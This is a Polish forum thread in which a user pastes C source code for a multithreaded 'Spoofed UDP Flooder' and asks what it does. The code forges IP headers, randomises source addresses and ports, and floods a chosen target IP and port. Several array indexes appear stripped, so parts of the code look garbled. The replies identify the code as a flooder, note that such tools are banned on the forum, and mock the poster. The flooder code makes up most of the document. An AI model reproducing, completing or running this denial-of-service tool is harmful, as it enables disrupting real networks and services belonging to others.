Kod, co może oznaczać ?

[tomasze]

Co może taki kod oznaczać ?

 

+#include <time.h>

    +#include <pthread.h>     +#include <unistd.h>     +#include <stdio.h>     +#include <stdlib.h>     +#include <string.h>     +#include <sys/socket.h>     +#include <netinet/ip.h>     +#include <netinet/udp.h>     +     +     +#define MAX_PACKET_SIZE 4096     +#define PHI 0x9e3779b9     +     +     +static uint32_t Q[4096], c = 362436;     +     +     +struct thread_data{     + int throttle;     + int thread_id;     + unsigned int floodport;     + struct sockaddr_in sin;     +};     +     +     +void init_rand(uint32_t x)     +{     + int i;     + Q[0] = x;     + Q[1] = x + PHI;     + Q[2] = x + PHI + PHI;     +     + for (i = 3; i < 4096; i++)     + Q = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;     +}     +     +     +uint32_t rand_cmwc(void)     +{     + uint64_t t, a = 18782LL;     + static uint32_t i = 4095;     + uint32_t x, r = 0xfffffffe;     + i = (i + 1) & 4095;     + t = a * Q + c;     + c = (t >> 32);     + x = t + c;     + if (x < c) {     + x++;     + c++;     + }     + return (Q = r - x);     +}     +     +     +char *myStrCat (char *s, char *a) {     + while (*s != '\0') s++;     + while (*a != '\0') *s++ = *a++;     + *s = '\0';     + return s;     +}     +     +     +char *replStr (char *str, size_t count) {     + if (count == 0) return NULL;     + char *ret = malloc (strlen (str) * count + count);     + if (ret == NULL) return NULL;     + *ret = '\0';     + char *tmp = myStrCat (ret, str);     + while (--count > 0) {     + tmp = myStrCat (tmp, str);     + }     + return ret;     +}     +     +/* Create header checksum*/     +unsigned short csum (unsigned short *buf, int nwords)     +{     + unsigned long sum;     + for (sum = 0; nwords > 0; nwords--)     + sum += *buf++;     + sum = (sum >> 16) + (sum & 0xffff);     + sum += (sum >> 16);     + return (unsigned short)(~sum);     +}     +void setup_ip_header(struct iphdr *iph)     +{     + iph->ihl = 5;     + iph->version = 4;     + iph->tos = 0;     + iph->tot_len = sizeof(struct iphdr) + 1028;     + iph->id = htonl(54321);     + iph->frag_off = 0;     + iph->ttl = MAXTTL;     + iph->protocol = IPPROTO_UDP;     + iph->check = 0;     + /* Base Address to start */     + iph->saddr = inet_addr("192.168.3.100");     +}     +     +     +void setup_udp_header(struct udphdr *udph)     +{     + udph->source = htons(5678);     + udph->check = 0;     + char *data = (char *)udph + sizeof(struct udphdr);     + data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);     + udph->len=htons(1028);     +}     +     +     +void *flood(void *par1)     +{     + struct thread_data *td = (struct thread_data *)par1;     + fprintf(stdout, "Thread %d started\n", td->thread_id);     + char datagram[MAX_PACKET_SIZE];     + struct iphdr *iph = (struct iphdr *)datagram;     + struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);     + struct sockaddr_in sin = td->sin;     + char new_ip[sizeof "255.255.255.255"];     +     + int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);     + if(s < 0){     + fprintf(stderr, "Could not open raw socket.\n");     + exit(-1);     + }     + unsigned int floodport = td->floodport;     + /* Reset data */     + memset(datagram, 0, MAX_PACKET_SIZE);     + /* Set appropriate fields in headers */     + setup_ip_header(iph);     + setup_udp_header(udph);     + udph->dest = htons(floodport);     + iph->daddr = sin.sin_addr.s_addr;     + iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);     + int tmp = 1;     + const int *val = &tmp;     + if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){     + fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");     + exit(-1);     + }     + int throttle = td->throttle;     + uint32_t random_num;     + uint32_t ul_dst;     + init_rand(time(NULL));     + if(throttle == 0){     + while(1){     + sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));     + random_num = rand_cmwc();     +     + ul_dst = (random_num >> 24 & 0xFF) << 24 |     + (random_num >> 16 & 0xFF) << 16 |     + (random_num >> 8 & 0xFF) << 8 |     + (random_num & 0xFF);     + iph->saddr = ul_dst;     + udph->source = htons(random_num & 0xFFFF);     + iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);     + }     + } else {     + while(1){     + throttle = td->throttle;     + sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));     + random_num = rand_cmwc();     + ul_dst = (random_num >> 24 & 0xFF) << 24 |     + (random_num >> 16 & 0xFF) << 16 |     + (random_num >> 8 & 0xFF) << 8 |     + (random_num & 0xFF);     + iph->saddr = ul_dst;     + udph->source = htons(random_num & 0xFFFF);     + iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);     + while(--throttle);     + }     + }     +}     +     +     +int main(int argc, char *argv[ ])     +{     + if(argc < 5){     + fprintf(stderr, "Invalid parameters!\n");     + fprintf(stdout, "Spoofed UDP Flooder \nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <number threads to use> <time (optional)>\n", argv[0]);     + exit(-1);     + }     + fprintf(stdout, "Setting up Sockets...\n");     + int num_threads = atoi(argv[4]);     + unsigned int floodport = atoi(argv[2]);     + pthread_t thread[num_threads];     + struct sockaddr_in sin;     + sin.sin_family = AF_INET;     + sin.sin_port = htons(floodport);     + sin.sin_addr.s_addr = inet_addr(argv[1]);     + struct thread_data td[num_threads];     + int i;     + for(i = 0;i<num_threads;i++){     + td.thread_id = i;     + td.sin = sin;     + td.floodport = floodport;     + td.throttle = atoi(argv[3]);     + pthread_create( &thread, NULL, &flood, (void *) &td);     + }     + fprintf(stdout, "Starting Flood...\n");     + if(argc > 5)     + {     + sleep(atoi(argv[5]));     + } else {     + while(1){     + sleep(1);     + }     + }     +     + return 0;     +}

 

[Vesim]

"Spoofed UDP Flooder \nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <number threads to use> <time (optional)>\n"

[sensus12]

to że nie potrafisz tego wstawic w znaczniki

[RobeM]

przy okazji nie potrafi czytać i właściwie nawet poszukać działu ( linux ), jakby nie było spofery i flodery zwłaszcza kody są zabronione na forum z powodu łamania regulaminu

 

zresztą nawet z tym kodem wielkie g... zrobi bo nie potrafił by go nawet użyć

 

 

p.s. SYN Flood jest programem pod LINUX